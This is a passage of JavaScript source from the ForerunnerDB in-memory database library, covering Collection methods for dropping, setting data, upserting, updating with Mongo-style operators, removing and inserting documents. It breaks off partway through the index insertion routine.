if (this._state !== 'dropped') {
if (this._db && this._db._collection && this._name) {
if (this.debug()) {
console.log('Dropping collection ' + this._name);
}
this._state = 'dropped';
this.emit('drop', this);
delete this._db._collection[this._name];
// Remove any reactor IO chain links
if (this._collate) {
for (key in this._collate) {
if (this._collate.hasOwnProperty(key)) {
this.collateRemove(key);
}
}
}
delete this._primaryKey;
delete this._primaryIndex;
delete this._primaryCrc;
delete this._crcLookup;
delete this._name;
delete this._data;
delete this._metrics;
if (callback) { callback(false, true); }
return true;
}
} else {
if (callback) { callback(false, true); }
return true;
}
if (callback) { callback(false, true); }
return false;
};
/**
* Gets / sets the primary key for this collection.
* @param {String=} keyName The name of the primary key.
* @returns {*}
*/
Collection.prototype.primaryKey = function (keyName) {
if (keyName !== undefined) {
if (this._primaryKey !== keyName) {
this._primaryKey = keyName;
// Set the primary key index primary key
this._primaryIndex.primaryKey(keyName);
// Rebuild the primary key index
this.rebuildPrimaryKeyIndex();
}
return this;
}
return this._primaryKey;
};
/**
* Handles insert events and routes changes to binds and views as required.
* @param {Array} inserted An array of inserted documents.
* @param {Array} failed An array of documents that failed to insert.
* @private
*/
Collection.prototype._onInsert = function (inserted, failed) {
this.emit('insert', inserted, failed);
};
/**
* Handles update events and routes changes to binds and views as required.
* @param {Array} items An array of updated documents.
* @private
*/
Collection.prototype._onUpdate = function (items) {
this.emit('update', items);
};
/**
* Handles remove events and routes changes to binds and views as required.
* @param {Array} items An array of removed documents.
* @private
*/
Collection.prototype._onRemove = function (items) {
this.emit('remove', items);
};
/**
* Handles any change to the collection.
* @private
*/
Collection.prototype._onChange = function () {
if (this._options.changeTimestamp) {
// Record the last change timestamp
this._internalData.lastChange = new Date();
}
};
/**
* Gets / sets the db instance this class instance belongs to.
* @param {Db=} db The db instance.
* @returns {*}
*/
Shared.synthesize(Collection.prototype, 'db', function (db) {
if (db) {
if (this.primaryKey() === '_id') {
// Set primary key to the db's key by default
this.primaryKey(db.primaryKey());
}
}
return this.$super.apply(this, arguments);
});
/**
* Sets the collection's data to the array of documents passed.
* @param data
* @param options Optional options object.
* @param callback Optional callback function.
*/
Collection.prototype.setData = function (data, options, callback) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
if (data) {
var op = this._metrics.create('setData');
op.start();
options = this.options(options);
this.preSetData(data, options, callback);
if (options.$decouple) {
data = this.decouple(data);
}
if (!(data instanceof Array)) {
data = [data];
}
op.time('transformIn');
data = this.transformIn(data);
op.time('transformIn');
var oldData = [].concat(this._data);
this._dataReplace(data);
// Update the primary key index
op.time('Rebuild Primary Key Index');
this.rebuildPrimaryKeyIndex(options);
op.time('Rebuild Primary Key Index');
// Rebuild all other indexes
op.time('Rebuild All Other Indexes');
this._rebuildIndexes();
op.time('Rebuild All Other Indexes');
op.time('Resolve chains');
this.chainSend('setData', data, {oldData: oldData});
op.time('Resolve chains');
op.stop();
this.emit('setData', this._data, oldData);
}
if (callback) { callback(false); }
return this;
};
/**
* Drops and rebuilds the primary key index for all documents in the collection.
* @param {Object=} options An optional options object.
* @private
*/
Collection.prototype.rebuildPrimaryKeyIndex = function (options) {
options = options || {
$ensureKeys: undefined,
$violationCheck: undefined
};
var ensureKeys = options && options.$ensureKeys !== undefined ? options.$ensureKeys : true,
violationCheck = options && options.$violationCheck !== undefined ? options.$violationCheck : true,
arr,
arrCount,
arrItem,
pIndex = this._primaryIndex,
crcIndex = this._primaryCrc,
crcLookup = this._crcLookup,
pKey = this._primaryKey,
jString;
// Drop the existing primary index
pIndex.truncate();
crcIndex.truncate();
crcLookup.truncate();
// Loop the data and check for a primary key in each object
arr = this._data;
arrCount = arr.length;
while (arrCount--) {
arrItem = arr[arrCount];
if (ensureKeys) {
// Make sure the item has a primary key
this.ensurePrimaryKey(arrItem);
}
if (violationCheck) {
// Check for primary key violation
if (!pIndex.uniqueSet(arrItem[pKey], arrItem)) {
// Primary key violation
throw('ForerunnerDB.Collection "' + this.name() + '": Call to setData on collection failed because your data violates the primary key unique constraint. One or more documents are using the same primary key: ' + arrItem[this._primaryKey]);
}
} else {
pIndex.set(arrItem[pKey], arrItem);
}
// Generate a CRC string
jString = JSON.stringify(arrItem);
crcIndex.set(arrItem[pKey], jString);
crcLookup.set(jString, arrItem);
}
};
/**
* Checks for a primary key on the document and assigns one if none
* currently exists.
* @param {Object} obj The object to check a primary key against.
* @private
*/
Collection.prototype.ensurePrimaryKey = function (obj) {
if (obj[this._primaryKey] === undefined) {
// Assign a primary key automatically
obj[this._primaryKey] = this.objectId();
}
};
/**
* Clears all data from the collection.
* @returns {Collection}
*/
Collection.prototype.truncate = function () {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
this.emit('truncate', this._data);
// Clear all the data from the collection
this._data.length = 0;
// Re-create the primary index data
this._primaryIndex = new KeyValueStore('primary');
this._primaryCrc = new KeyValueStore('primaryCrc');
this._crcLookup = new KeyValueStore('crcLookup');
this._onChange();
this.deferEmit('change', {type: 'truncate'});
return this;
};
/**
* Modifies an existing document or documents in a collection. This will update
* all matches for 'query' with the data held in 'update'. It will not overwrite
* the matched documents with the update document.
*
* @param {Object} obj The document object to upsert or an array containing
* documents to upsert.
*
* If the document contains a primary key field (based on the collections's primary
* key) then the database will search for an existing document with a matching id.
* If a matching document is found, the document will be updated. Any keys that
* match keys on the existing document will be overwritten with new data. Any keys
* that do not currently exist on the document will be added to the document.
*
* If the document does not contain an id or the id passed does not match an existing
* document, an insert is performed instead. If no id is present a new primary key
* id is provided for the item.
*
* @param {Function=} callback Optional callback method.
* @returns {Object} An object containing two keys, "op" contains either "insert" or
* "update" depending on the type of operation that was performed and "result"
* contains the return data from the operation used.
*/
Collection.prototype.upsert = function (obj, callback) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
if (obj) {
var queue = this._deferQueue.upsert,
deferThreshold = this._deferThreshold.upsert;
var returnData = {},
query,
i;
// Determine if the object passed is an array or not
if (obj instanceof Array) {
if (obj.length > deferThreshold) {
// Break up upsert into blocks
this._deferQueue.upsert = queue.concat(obj);
// Fire off the insert queue handler
this.processQueue('upsert', callback);
return {};
} else {
// Loop the array and upsert each item
returnData = [];
for (i = 0; i < obj.length; i++) {
returnData.push(this.upsert(obj[i]));
}
if (callback) { callback(); }
return returnData;
}
}
// Determine if the operation is an insert or an update
if (obj[this._primaryKey]) {
// Check if an object with this primary key already exists
query = {};
query[this._primaryKey] = obj[this._primaryKey];
if (this._primaryIndex.lookup(query)[0]) {
// The document already exists with this id, this operation is an update
returnData.op = 'update';
} else {
// No document with this id exists, this operation is an insert
returnData.op = 'insert';
}
} else {
// The document passed does not contain an id, this operation is an insert
returnData.op = 'insert';
}
switch (returnData.op) {
case 'insert':
returnData.result = this.insert(obj);
break;
case 'update':
returnData.result = this.update(query, obj);
break;
default:
break;
}
return returnData;
} else {
if (callback) { callback(); }
}
return {};
};
/**
* Executes a method against each document that matches query and returns an
* array of documents that may have been modified by the method.
* @param {Object} query The query object.
* @param {Function} func The method that each document is passed to. If this method
* returns false for a particular document it is excluded from the results.
* @param {Object=} options Optional options object.
* @returns {Array}
*/
Collection.prototype.filter = function (query, func, options) {
return (this.find(query, options)).filter(func);
};
/**
* Executes a method against each document that matches query and then executes
* an update based on the return data of the method.
* @param {Object} query The query object.
* @param {Function} func The method that each document is passed to. If this method
* returns false for a particular document it is excluded from the update.
* @param {Object=} options Optional options object passed to the initial find call.
* @returns {Array}
*/
Collection.prototype.filterUpdate = function (query, func, options) {
var items = this.find(query, options),
results = [],
singleItem,
singleQuery,
singleUpdate,
pk = this.primaryKey(),
i;
for (i = 0; i < items.length; i++) {
singleItem = items[i];
singleUpdate = func(singleItem);
if (singleUpdate) {
singleQuery = {};
singleQuery[pk] = singleItem[pk];
results.push(this.update(singleQuery, singleUpdate));
}
}
return results;
};
/**
* Modifies an existing document or documents in a collection. This will update
* all matches for 'query' with the data held in 'update'. It will not overwrite
* the matched documents with the update document.
*
* @param {Object} query The query that must be matched for a document to be
* operated on.
* @param {Object} update The object containing updated key/values. Any keys that
* match keys on the existing document will be overwritten with this data. Any
* keys that do not currently exist on the document will be added to the document.
* @param {Object=} options An options object.
* @returns {Array} The items that were updated.
*/
Collection.prototype.update = function (query, update, options) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
// Decouple the update data
update = this.decouple(update);
// Handle transform
update = this.transformIn(update);
if (this.debug()) {
console.log('Updating some collection data for collection "' + this.name() + '"');
}
var self = this,
op = this._metrics.create('update'),
dataSet,
updated,
updateCall = function (referencedDoc) {
var oldDoc = self.decouple(referencedDoc),
newDoc,
triggerOperation,
result;
if (self.willTrigger(self.TYPE_UPDATE, self.PHASE_BEFORE) || self.willTrigger(self.TYPE_UPDATE, self.PHASE_AFTER)) {
newDoc = self.decouple(referencedDoc);
triggerOperation = {
type: 'update',
query: self.decouple(query),
update: self.decouple(update),
options: self.decouple(options),
op: op
};
// Update newDoc with the update criteria so we know what the data will look
// like AFTER the update is processed
result = self.updateObject(newDoc, triggerOperation.update, triggerOperation.query, triggerOperation.options, '');
if (self.processTrigger(triggerOperation, self.TYPE_UPDATE, self.PHASE_BEFORE, referencedDoc, newDoc) !== false) {
// No triggers complained so let's execute the replacement of the existing
// object with the new one
result = self.updateObject(referencedDoc, newDoc, triggerOperation.query, triggerOperation.options, '');
// NOTE: If for some reason we would only like to fire this event if changes are actually going
// to occur on the object from the proposed update then we can add "result &&" to the if
self.processTrigger(triggerOperation, self.TYPE_UPDATE, self.PHASE_AFTER, referencedDoc, newDoc);
} else {
// Trigger cancelled operation so tell result that it was not updated
result = false;
}
} else {
// No triggers complained so let's execute the replacement of the existing
// object with the new one
result = self.updateObject(referencedDoc, update, query, options, '');
}
// Inform indexes of the change
self._updateIndexes(oldDoc, referencedDoc);
return result;
};
op.start();
op.time('Retrieve documents to update');
dataSet = this.find(query, {$decouple: false});
op.time('Retrieve documents to update');
if (dataSet.length) {
op.time('Update documents');
updated = dataSet.filter(updateCall);
op.time('Update documents');
if (updated.length) {
op.time('Resolve chains');
this.chainSend('update', {
query: query,
update: update,
dataSet: dataSet
}, options);
op.time('Resolve chains');
this._onUpdate(updated);
this._onChange();
this.deferEmit('change', {type: 'update', data: updated});
}
}
op.stop();
// TODO: Should we decouple the updated array before return by default?
return updated || [];
};
/**
* Replaces an existing object with data from the new object without
* breaking data references.
* @param {Object} currentObj The object to alter.
* @param {Object} newObj The new object to overwrite the existing one with.
* @returns {*} Chain.
* @private
*/
Collection.prototype._replaceObj = function (currentObj, newObj) {
var i;
// Check if the new document has a different primary key value from the existing one
// Remove item from indexes
this._removeFromIndexes(currentObj);
// Remove existing keys from current object
for (i in currentObj) {
if (currentObj.hasOwnProperty(i)) {
delete currentObj[i];
}
}
// Add new keys to current object
for (i in newObj) {
if (newObj.hasOwnProperty(i)) {
currentObj[i] = newObj[i];
}
}
// Update the item in the primary index
if (!this._insertIntoIndexes(currentObj)) {
throw('ForerunnerDB.Collection "' + this.name() + '": Primary key violation in update! Key violated: ' + currentObj[this._primaryKey]);
}
// Update the object in the collection data
//this._data.splice(this._data.indexOf(currentObj), 1, newObj);
return this;
};
/**
* Helper method to update a document from it's id.
* @param {String} id The id of the document.
* @param {Object} update The object containing the key/values to update to.
* @returns {Array} The items that were updated.
*/
Collection.prototype.updateById = function (id, update) {
var searchObj = {};
searchObj[this._primaryKey] = id;
return this.update(searchObj, update);
};
/**
* Internal method for document updating.
* @param {Object} doc The document to update.
* @param {Object} update The object with key/value pairs to update the document with.
* @param {Object} query The query object that we need to match to perform an update.
* @param {Object} options An options object.
* @param {String} path The current recursive path.
* @param {String} opType The type of update operation to perform, if none is specified
* default is to set new data against matching fields.
* @returns {Boolean} True if the document was updated with new / changed data or
* false if it was not updated because the data was the same.
* @private
*/
Collection.prototype.updateObject = function (doc, update, query, options, path, opType) {
// TODO: This method is long, try to break it into smaller pieces
update = this.decouple(update);
// Clear leading dots from path
path = path || '';
if (path.substr(0, 1) === '.') { path = path.substr(1, path.length -1); }
//var oldDoc = this.decouple(doc),
var updated = false,
recurseUpdated = false,
operation,
tmpArray,
tmpIndex,
tmpCount,
tempIndex,
pathInstance,
sourceIsArray,
updateIsArray,
i;
// Loop each key in the update object
for (i in update) {
if (update.hasOwnProperty(i)) {
// Reset operation flag
operation = false;
// Check if the property starts with a dollar (function)
if (i.substr(0, 1) === '$') {
// Check for commands
switch (i) {
case '$key':
case '$index':
case '$data':
// Ignore some operators
operation = true;
break;
case '$each':
operation = true;
// Loop over the array of updates and run each one
tmpCount = update.$each.length;
for (tmpIndex = 0; tmpIndex < tmpCount; tmpIndex++) {
recurseUpdated = this.updateObject(doc, update.$each[tmpIndex], query, options, path);
if (recurseUpdated) {
updated = true;
}
}
updated = updated || recurseUpdated;
break;
default:
operation = true;
// Now run the operation
recurseUpdated = this.updateObject(doc, update[i], query, options, path, i);
updated = updated || recurseUpdated;
break;
}
}
// Check if the key has a .$ at the end, denoting an array lookup
if (this._isPositionalKey(i)) {
operation = true;
// Modify i to be the name of the field
i = i.substr(0, i.length - 2);
pathInstance = new Path(path + '.' + i);
// Check if the key is an array and has items
if (doc[i] && doc[i] instanceof Array && doc[i].length) {
tmpArray = [];
// Loop the array and find matches to our search
for (tmpIndex = 0; tmpIndex < doc[i].length; tmpIndex++) {
if (this._match(doc[i][tmpIndex], pathInstance.value(query)[0], '', {})) {
tmpArray.push(tmpIndex);
}
}
// Loop the items that matched and update them
for (tmpIndex = 0; tmpIndex < tmpArray.length; tmpIndex++) {
recurseUpdated = this.updateObject(doc[i][tmpArray[tmpIndex]], update[i + '.$'], query, options, path + '.' + i, opType);
updated = updated || recurseUpdated;
}
}
}
if (!operation) {
if (!opType && typeof(update[i]) === 'object') {
if (doc[i] !== null && typeof(doc[i]) === 'object') {
// Check if we are dealing with arrays
sourceIsArray = doc[i] instanceof Array;
updateIsArray = update[i] instanceof Array;
if (sourceIsArray || updateIsArray) {
// Check if the update is an object and the doc is an array
if (!updateIsArray && sourceIsArray) {
// Update is an object, source is an array so match the array items
// with our query object to find the one to update inside this array
// Loop the array and find matches to our search
for (tmpIndex = 0; tmpIndex < doc[i].length; tmpIndex++) {
recurseUpdated = this.updateObject(doc[i][tmpIndex], update[i], query, options, path + '.' + i, opType);
updated = updated || recurseUpdated;
}
} else {
// Either both source and update are arrays or the update is
// an array and the source is not, so set source to update
if (doc[i] !== update[i]) {
this._updateProperty(doc, i, update[i]);
updated = true;
}
}
} else {
// The doc key is an object so traverse the
// update further
recurseUpdated = this.updateObject(doc[i], update[i], query, options, path + '.' + i, opType);
updated = updated || recurseUpdated;
}
} else {
if (doc[i] !== update[i]) {
this._updateProperty(doc, i, update[i]);
updated = true;
}
}
} else {
switch (opType) {
case '$inc':
this._updateIncrement(doc, i, update[i]);
updated = true;
break;
case '$cast':
// Casts a property to the type specified if it is not already
// that type. If the cast is an array or an object and the property
// is not already that type a new array or object is created and
// set to the property, overwriting the previous value
switch (update[i]) {
case 'array':
if (!(doc[i] instanceof Array)) {
// Cast to an array
this._updateProperty(doc, i, update.$data || []);
updated = true;
}
break;
case 'object':
if (!(doc[i] instanceof Object) || (doc[i] instanceof Array)) {
// Cast to an object
this._updateProperty(doc, i, update.$data || {});
updated = true;
}
break;
case 'number':
if (typeof doc[i] !== 'number') {
// Cast to a number
this._updateProperty(doc, i, Number(doc[i]));
updated = true;
}
break;
case 'string':
if (typeof doc[i] !== 'string') {
// Cast to a string
this._updateProperty(doc, i, String(doc[i]));
updated = true;
}
break;
default:
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot update cast to unknown type: ' + update[i]);
}
break;
case '$push':
// Check if the target key is undefined and if so, create an array
if (doc[i] === undefined) {
// Initialise a new array
this._updateProperty(doc, i, []);
}
// Check that the target key is an array
if (doc[i] instanceof Array) {
// Check for a $position modifier with an $each
if (update[i].$position !== undefined && update[i].$each instanceof Array) {
// Grab the position to insert at
tempIndex = update[i].$position;
// Loop the each array and push each item
tmpCount = update[i].$each.length;
for (tmpIndex = 0; tmpIndex < tmpCount; tmpIndex++) {
this._updateSplicePush(doc[i], tempIndex + tmpIndex, update[i].$each[tmpIndex]);
}
} else if (update[i].$each instanceof Array) {
// Do a loop over the each to push multiple items
tmpCount = update[i].$each.length;
for (tmpIndex = 0; tmpIndex < tmpCount; tmpIndex++) {
this._updatePush(doc[i], update[i].$each[tmpIndex]);
}
} else {
// Do a standard push
this._updatePush(doc[i], update[i]);
}
updated = true;
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot push to a key that is not an array! (' + i + ')');
}
break;
case '$pull':
if (doc[i] instanceof Array) {
tmpArray = [];
// Loop the array and find matches to our search
for (tmpIndex = 0; tmpIndex < doc[i].length; tmpIndex++) {
if (this._match(doc[i][tmpIndex], update[i], '', {})) {
tmpArray.push(tmpIndex);
}
}
tmpCount = tmpArray.length;
// Now loop the pull array and remove items to be pulled
while (tmpCount--) {
this._updatePull(doc[i], tmpArray[tmpCount]);
updated = true;
}
}
break;
case '$pullAll':
if (doc[i] instanceof Array) {
if (update[i] instanceof Array) {
tmpArray = doc[i];
tmpCount = tmpArray.length;
if (tmpCount > 0) {
// Now loop the pull array and remove items to be pulled
while (tmpCount--) {
for (tempIndex = 0; tempIndex < update[i].length; tempIndex++) {
if (tmpArray[tmpCount] === update[i][tempIndex]) {
this._updatePull(doc[i], tmpCount);
tmpCount--;
updated = true;
}
}
if (tmpCount < 0) {
break;
}
}
}
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot pullAll without being given an array of values to pull! (' + i + ')');
}
}
break;
case '$addToSet':
// Check if the target key is undefined and if so, create an array
if (doc[i] === undefined) {
// Initialise a new array
this._updateProperty(doc, i, []);
}
// Check that the target key is an array
if (doc[i] instanceof Array) {
// Loop the target array and check for existence of item
var targetArr = doc[i],
targetArrIndex,
targetArrCount = targetArr.length,
objHash,
addObj = true,
optionObj = (options && options.$addToSet),
hashMode,
pathSolver;
// Check if we have an options object for our operation
if (update[i].$key) {
hashMode = false;
pathSolver = new Path(update[i].$key);
objHash = pathSolver.value(update[i])[0];
// Remove the key from the object before we add it
delete update[i].$key;
} else if (optionObj && optionObj.key) {
hashMode = false;
pathSolver = new Path(optionObj.key);
objHash = pathSolver.value(update[i])[0];
} else {
objHash = JSON.stringify(update[i]);
hashMode = true;
}
for (targetArrIndex = 0; targetArrIndex < targetArrCount; targetArrIndex++) {
if (hashMode) {
// Check if objects match via a string hash (JSON)
if (JSON.stringify(targetArr[targetArrIndex]) === objHash) {
// The object already exists, don't add it
addObj = false;
break;
}
} else {
// Check if objects match based on the path
if (objHash === pathSolver.value(targetArr[targetArrIndex])[0]) {
// The object already exists, don't add it
addObj = false;
break;
}
}
}
if (addObj) {
this._updatePush(doc[i], update[i]);
updated = true;
}
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot addToSet on a key that is not an array! (' + i + ')');
}
break;
case '$splicePush':
// Check if the target key is undefined and if so, create an array
if (doc[i] === undefined) {
// Initialise a new array
this._updateProperty(doc, i, []);
}
// Check that the target key is an array
if (doc[i] instanceof Array) {
tempIndex = update.$index;
if (tempIndex !== undefined) {
delete update.$index;
// Check for out of bounds index
if (tempIndex > doc[i].length) {
tempIndex = doc[i].length;
}
this._updateSplicePush(doc[i], tempIndex, update[i]);
updated = true;
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot splicePush without a $index integer value!');
}
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot splicePush with a key that is not an array! (' + i + ')');
}
break;
case '$move':
if (doc[i] instanceof Array) {
// Loop the array and find matches to our search
for (tmpIndex = 0; tmpIndex < doc[i].length; tmpIndex++) {
if (this._match(doc[i][tmpIndex], update[i], '', {})) {
var moveToIndex = update.$index;
if (moveToIndex !== undefined) {
delete update.$index;
this._updateSpliceMove(doc[i], tmpIndex, moveToIndex);
updated = true;
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot move without a $index integer value!');
}
break;
}
}
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot move on a key that is not an array! (' + i + ')');
}
break;
case '$mul':
this._updateMultiply(doc, i, update[i]);
updated = true;
break;
case '$rename':
this._updateRename(doc, i, update[i]);
updated = true;
break;
case '$overwrite':
this._updateOverwrite(doc, i, update[i]);
updated = true;
break;
case '$unset':
this._updateUnset(doc, i);
updated = true;
break;
case '$clear':
this._updateClear(doc, i);
updated = true;
break;
case '$pop':
if (doc[i] instanceof Array) {
if (this._updatePop(doc[i], update[i])) {
updated = true;
}
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot pop from a key that is not an array! (' + i + ')');
}
break;
default:
if (doc[i] !== update[i]) {
this._updateProperty(doc, i, update[i]);
updated = true;
}
break;
}
}
}
}
}
return updated;
};
/**
* Determines if the passed key has an array positional mark (a dollar at the end
* of its name).
* @param {String} key The key to check.
* @returns {Boolean} True if it is a positional or false if not.
* @private
*/
Collection.prototype._isPositionalKey = function (key) {
return key.substr(key.length - 2, 2) === '.$';
};
/**
* Removes any documents from the collection that match the search query
* key/values.
* @param {Object} query The query object.
* @param {Object=} options An options object.
* @param {Function=} callback A callback method.
* @returns {Array} An array of the documents that were removed.
*/
Collection.prototype.remove = function (query, options, callback) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
var self = this,
dataSet,
index,
arrIndex,
returnArr,
removeMethod,
triggerOperation,
doc,
newDoc;
if (typeof(options) === 'function') {
callback = options;
options = undefined;
}
if (query instanceof Array) {
returnArr = [];
for (arrIndex = 0; arrIndex < query.length; arrIndex++) {
returnArr.push(this.remove(query[arrIndex], {noEmit: true}));
}
if (!options || (options && !options.noEmit)) {
this._onRemove(returnArr);
}
if (callback) { callback(false, returnArr); }
return returnArr;
} else {
dataSet = this.find(query, {$decouple: false});
if (dataSet.length) {
removeMethod = function (dataItem) {
// Remove the item from the collection's indexes
self._removeFromIndexes(dataItem);
// Remove data from internal stores
index = self._data.indexOf(dataItem);
self._dataRemoveAtIndex(index);
};
// Remove the data from the collection
for (var i = 0; i < dataSet.length; i++) {
doc = dataSet[i];
if (self.willTrigger(self.TYPE_REMOVE, self.PHASE_BEFORE) || self.willTrigger(self.TYPE_REMOVE, self.PHASE_AFTER)) {
triggerOperation = {
type: 'remove'
};
newDoc = self.decouple(doc);
if (self.processTrigger(triggerOperation, self.TYPE_REMOVE, self.PHASE_BEFORE, newDoc, newDoc) !== false) {
// The trigger didn't ask to cancel so execute the removal method
removeMethod(doc);
self.processTrigger(triggerOperation, self.TYPE_REMOVE, self.PHASE_AFTER, newDoc, newDoc);
}
} else {
// No triggers to execute
removeMethod(doc);
}
}
//op.time('Resolve chains');
this.chainSend('remove', {
query: query,
dataSet: dataSet
}, options);
//op.time('Resolve chains');
if (!options || (options && !options.noEmit)) {
this._onRemove(dataSet);
}
this._onChange();
this.deferEmit('change', {type: 'remove', data: dataSet});
}
if (callback) { callback(false, dataSet); }
return dataSet;
}
};
/**
* Helper method that removes a document that matches the given id.
* @param {String} id The id of the document to remove.
* @returns {Array} An array of documents that were removed.
*/
Collection.prototype.removeById = function (id) {
var searchObj = {};
searchObj[this._primaryKey] = id;
return this.remove(searchObj);
};
/**
* Queues an event to be fired. This has automatic de-bouncing so that any
* events of the same type that occur within 100 milliseconds of a previous
* one will all be wrapped into a single emit rather than emitting tons of
* events for lots of chained inserts etc. Only the data from the last
* de-bounced event will be emitted.
* @param {String} eventName The name of the event to emit.
* @param {*=} data Optional data to emit with the event.
* @private
*/
Collection.prototype.deferEmit = function (eventName, data) {
var self = this,
args;
if (!this._noEmitDefer && (!this._db || (this._db && !this._db._noEmitDefer))) {
args = arguments;
// Check for an existing timeout
this._deferTimeout = this._deferTimeout || {};
if (this._deferTimeout[eventName]) {
clearTimeout(this._deferTimeout[eventName]);
}
// Set a timeout
this._deferTimeout[eventName] = setTimeout(function () {
if (self.debug()) { console.log('ForerunnerDB.Collection: Emitting ' + args[0]); }
self.emit.apply(self, args);
}, 1);
} else {
this.emit.apply(this, arguments);
}
};
/**
* Processes a deferred action queue.
* @param {String} type The queue name to process.
* @param {Function} callback A method to call when the queue has processed.
* @param {Object=} resultObj A temp object to hold results in.
*/
Collection.prototype.processQueue = function (type, callback, resultObj) {
var self = this,
queue = this._deferQueue[type],
deferThreshold = this._deferThreshold[type],
deferTime = this._deferTime[type],
dataArr,
result;
resultObj = resultObj || {
deferred: true
};
if (queue.length) {
// Process items up to the threshold
if (queue.length) {
if (queue.length > deferThreshold) {
// Grab items up to the threshold value
dataArr = queue.splice(0, deferThreshold);
} else {
// Grab all the remaining items
dataArr = queue.splice(0, queue.length);
}
result = self[type](dataArr);
switch (type) {
case 'insert':
resultObj.inserted = resultObj.inserted || [];
resultObj.failed = resultObj.failed || [];
resultObj.inserted = resultObj.inserted.concat(result.inserted);
resultObj.failed = resultObj.failed.concat(result.failed);
break;
}
}
// Queue another process
setTimeout(function () {
self.processQueue.call(self, type, callback, resultObj);
}, deferTime);
} else {
if (callback) { callback(resultObj); }
}
};
/**
* Inserts a document or array of documents into the collection.
* @param {Object|Array} data Either a document object or array of document
* @param {Number=} index Optional index to insert the record at.
* @param {Function=} callback Optional callback called once action is complete.
* objects to insert into the collection.
*/
Collection.prototype.insert = function (data, index, callback) {
if (this._state === 'dropped') {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot operate in a dropped state!');
}
if (typeof(index) === 'function') {
callback = index;
index = this._data.length;
} else if (index === undefined) {
index = this._data.length;
}
data = this.transformIn(data);
return this._insertHandle(data, index, callback);
};
/**
* Inserts a document or array of documents into the collection.
* @param {Object|Array} data Either a document object or array of document
* @param {Number=} index Optional index to insert the record at.
* @param {Function=} callback Optional callback called once action is complete.
* objects to insert into the collection.
*/
Collection.prototype._insertHandle = function (data, index, callback) {
var //self = this,
queue = this._deferQueue.insert,
deferThreshold = this._deferThreshold.insert,
//deferTime = this._deferTime.insert,
inserted = [],
failed = [],
insertResult,
resultObj,
i;
if (data instanceof Array) {
// Check if there are more insert items than the insert defer
// threshold, if so, break up inserts so we don't tie up the
// ui or thread
if (data.length > deferThreshold) {
// Break up insert into blocks
this._deferQueue.insert = queue.concat(data);
// Fire off the insert queue handler
this.processQueue('insert', callback);
return;
} else {
// Loop the array and add items
for (i = 0; i < data.length; i++) {
insertResult = this._insert(data[i], index + i);
if (insertResult === true) {
inserted.push(data[i]);
} else {
failed.push({
doc: data[i],
reason: insertResult
});
}
}
}
} else {
// Store the data item
insertResult = this._insert(data, index);
if (insertResult === true) {
inserted.push(data);
} else {
failed.push({
doc: data,
reason: insertResult
});
}
}
//op.time('Resolve chains');
this.chainSend('insert', data, {index: index});
//op.time('Resolve chains');
resultObj = {
deferred: false,
inserted: inserted,
failed: failed
};
this._onInsert(inserted, failed);
if (callback) { callback(resultObj); }
this._onChange();
this.deferEmit('change', {type: 'insert', data: inserted});
return resultObj;
};
/**
* Internal method to insert a document into the collection. Will
* check for index violations before allowing the document to be inserted.
* @param {Object} doc The document to insert after passing index violation
* tests.
* @param {Number=} index Optional index to insert the document at.
* @returns {Boolean|Object} True on success, false if no document passed,
* or an object containing details about an index violation if one occurred.
* @private
*/
Collection.prototype._insert = function (doc, index) {
if (doc) {
var self = this,
indexViolation,
triggerOperation,
insertMethod,
newDoc;
this.ensurePrimaryKey(doc);
// Check indexes are not going to be broken by the document
indexViolation = this.insertIndexViolation(doc);
insertMethod = function (doc) {
// Add the item to the collection's indexes
self._insertIntoIndexes(doc);
// Check index overflow
if (index > self._data.length) {
index = self._data.length;
}
// Insert the document
self._dataInsertAtIndex(index, doc);
};
if (!indexViolation) {
if (self.willTrigger(self.TYPE_INSERT, self.PHASE_BEFORE) || self.willTrigger(self.TYPE_INSERT, self.PHASE_AFTER)) {
triggerOperation = {
type: 'insert'
};
if (self.processTrigger(triggerOperation, self.TYPE_INSERT, self.PHASE_BEFORE, {}, doc) !== false) {
insertMethod(doc);
if (self.willTrigger(self.TYPE_INSERT, self.PHASE_AFTER)) {
// Clone the doc so that the programmer cannot update the internal document
// on the "after" phase trigger
newDoc = self.decouple(doc);
self.processTrigger(triggerOperation, self.TYPE_INSERT, self.PHASE_AFTER, {}, newDoc);
}
} else {
// The trigger just wants to cancel the operation
return false;
}
} else {
// No triggers to execute
insertMethod(doc);
}
return true;
} else {
return 'Index violation in index: ' + indexViolation;
}
}
return 'No document passed to insert';
};
/**
* Inserts a document into the internal collection data array at
* Inserts a document into the internal collection data array at
* the specified index.
* @param {number} index The index to insert at.
* @param {object} doc The document to insert.
* @private
*/
Collection.prototype._dataInsertAtIndex = function (index, doc) {
this._data.splice(index, 0, doc);
};
/**
* Removes a document from the internal collection data array at
* the specified index.
* @param {number} index The index to remove from.
* @private
*/
Collection.prototype._dataRemoveAtIndex = function (index) {
this._data.splice(index, 1);
};
/**
* Replaces all data in the collection's internal data array with
* the passed array of data.
* @param {array} data The array of data to replace existing data with.
* @private
*/
Collection.prototype._dataReplace = function (data) {
// Clear the array - using a while loop with pop is by far the
// fastest way to clear an array currently
while (this._data.length) {
this._data.pop();
}
// Append new items to the array
this._data = this._data.concat(data);
};
/**
* Inserts a document into the collection indexes.
* @param {Object} doc The document to insert.
* @private
*/
Collection.prototype._insertIntoIndexes = function (doc) {
var arr = this._indexByName,
arrIndex,
violated,
jString = JSON.stringify(doc);
// Insert to primary key index
violated = this._primaryIndex.uniqueSet(doc[this._primaryKey], doc);
